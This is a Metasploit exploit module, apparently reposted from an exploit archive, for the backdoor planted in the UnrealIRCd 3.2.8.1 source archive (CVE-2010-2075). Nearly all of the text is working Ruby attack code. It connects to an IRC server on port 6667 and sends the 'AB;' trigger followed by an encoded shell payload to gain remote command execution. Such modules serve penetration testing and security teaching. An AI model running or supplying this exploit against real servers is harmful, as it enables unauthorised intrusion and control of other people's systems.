UnrealIRCd 3.2.8.1 – Backdoor Command Execution (Metasploit)
## # $Id: unreal_ircd_3281_backdoor.rb 11227 2010-12-05 15:08:22Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution', 'Description' => %q{ This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11227 $', 'References' => [ [ 'CVE', '2010-2075' ], [ 'OSVDB', '65445' ], [ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 12 2010')) register_options( [ Opt::RPORT(6667) ], self.class) end def exploit connect print_status("Connected to #{rhost}:#{rport}...") banner = sock.get_once(-1, 30) banner.to_s.split("\n").each do |line| print_line(" #{line}") end print_status("Sending backdoor command...") sock.put("AB;" + payload.encoded + "\n") handler disconnect end end |